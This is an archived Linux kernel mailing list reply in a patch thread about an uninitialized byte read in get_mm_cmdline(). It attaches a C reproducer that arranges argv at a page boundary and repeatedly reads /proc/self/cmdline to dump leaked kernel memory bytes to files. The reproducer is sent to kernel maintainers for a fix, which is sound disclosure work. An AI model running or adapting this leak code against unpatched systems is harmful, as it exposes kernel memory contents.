From: Alexey Izbyshev <izbyshev@ispras.ru>
To: Alexey Dobriyan <adobriyan@gmail.com>
Cc: Oleg Nesterov <oleg@redhat.com>,
linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org,
security@kernel.org
Subject: Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline()
Date: Sat, 13 Jul 2019 17:09:27 +0300 [thread overview]
Message-ID: <2cba2f3d-4a7c-ddeb-fbd7-e2aafb728493@ispras.ru> (raw)
In-Reply-To: <20190713072606.GA23167@avx2>
[-- Attachment #1: Type: text/plain, Size: 674 bytes --]
On 7/13/19 10:26 AM, Alexey Dobriyan wrote:
> On Fri, Jul 12, 2019 at 09:43:03PM +0300, Alexey Izbyshev wrote:
>> On 7/12/19 8:46 PM, Alexey Dobriyan wrote:
>>> The proper fix to all /proc/*/cmdline problems is to revert
>>>
>>> f5b65348fd77839b50e79bc0a5e536832ea52d8d
>>> proc: fix missing final NUL in get_mm_cmdline() rewrite
>>>
>>> 5ab8271899658042fabc5ae7e6a99066a210bc0e
>>> fs/proc: simplify and clarify get_mm_cmdline() function
>>>
>> Should this be interpreted as an actual suggestion to revert the patches,
>> fix the conflicts, test and submit them, or is this more like thinking out
>> loud?
>
> Of course! Do you have a reproducer?
>
Attached.
Alexey
[-- Attachment #2: dump-page.c --]
[-- Type: text/x-csrc, Size: 2610 bytes --]
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define PAGE_SIZE 4096
#define CHECK(expr) \
({ \
long r = (expr); \
if (r < 0) { \
perror(#expr); \
exit(1); \
} \
r; \
})
static void dump(unsigned char *page, size_t ind) {
char fname[30];
sprintf(fname, "page%zu", ind);
printf("dumping %s\n", fname);
int fd = CHECK(open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0666));
CHECK(write(fd, page, PAGE_SIZE));
close(fd);
}
int main(int argc, char *argv[], char *envp[]) {
char *last_arg_nul = argv[argc - 1] + strlen(argv[argc - 1]);
printf("last arg end: %p\n", last_arg_nul);
size_t argv_size = last_arg_nul - argv[0] + 1;
size_t page_offset = (uintptr_t)last_arg_nul & (PAGE_SIZE - 1);
if (page_offset != PAGE_SIZE - 1 || argv_size < PAGE_SIZE - 1) {
printf("will re-exec to arrange argv\n");
if (page_offset != PAGE_SIZE - 1) {
/* Pad env block so that the last byte of arg block is also
* the last byte of its page. */
size_t env0_size = page_offset + 1 + strlen(envp[0]) + 1;
char *new_env = malloc(env0_size);
memset(new_env, 'Z', env0_size - 1);
new_env[env0_size - 1] = '\0';
envp[0] = new_env;
}
char *path = argv[0];
if (argv_size < PAGE_SIZE) {
/* Also make sure that arg block is not shorter than a page. */
argv[0] = (char[]){[0 ... PAGE_SIZE - 1] = 'Z', '\0'};
}
execve(path, argv, envp);
perror("execve");
return 127;
}
*last_arg_nul = 'Z';
/* Make sure the kernel can't read past arg_end. */
CHECK(mprotect(last_arg_nul + 1, PAGE_SIZE, PROT_NONE));
char buf[PAGE_SIZE];
unsigned char leaked[PAGE_SIZE] = {'U'};
unsigned num_good = 0;
int fd = CHECK(open("/proc/self/cmdline", O_RDONLY));
while (1) {
int found_good = 0;
for (size_t off = 1; off < PAGE_SIZE; ++off) {
CHECK(lseek(fd, argv_size - off, SEEK_SET));
ssize_t got = CHECK(read(fd, buf, sizeof buf));
if (got <= off) {
printf("no leak: kernel seems to be fixed\n");
return 1;
}
unsigned char leaked_byte = buf[got - 1];
found_good |= (leaked_byte && leaked_byte != 'Z');
leaked[off] = leaked_byte;
}
if (found_good)
dump(leaked, num_good++);
sleep(1);
}
close(fd);
return 0;
}
prev parent reply other threads:[~2019-07-13 14:09 UTC|newest]
Thread overview: 8+ messages / expand[flat|nested] mbox.gz Atom feed top
2019-07-12 16:09 [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() Alexey Izbyshev
2019-07-12 16:36 ` Oleg Nesterov
2019-07-12 17:46 ` Alexey Dobriyan
2019-07-12 18:43 ` Alexey Izbyshev
2019-07-12 21:17 ` Jakub Jankowski
2019-07-12 22:29 ` Alexey Izbyshev
2019-07-13 7:26 ` Alexey Dobriyan
2019-07-13 14:09 ` Alexey Izbyshev [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=2cba2f3d-4a7c-ddeb-fbd7-e2aafb728493@ispras.ru \
--to=izbyshev@ispras.ru \
--cc=adobriyan@gmail.com \
--cc=linux-fsdevel@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=oleg@redhat.com \
--cc=security@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).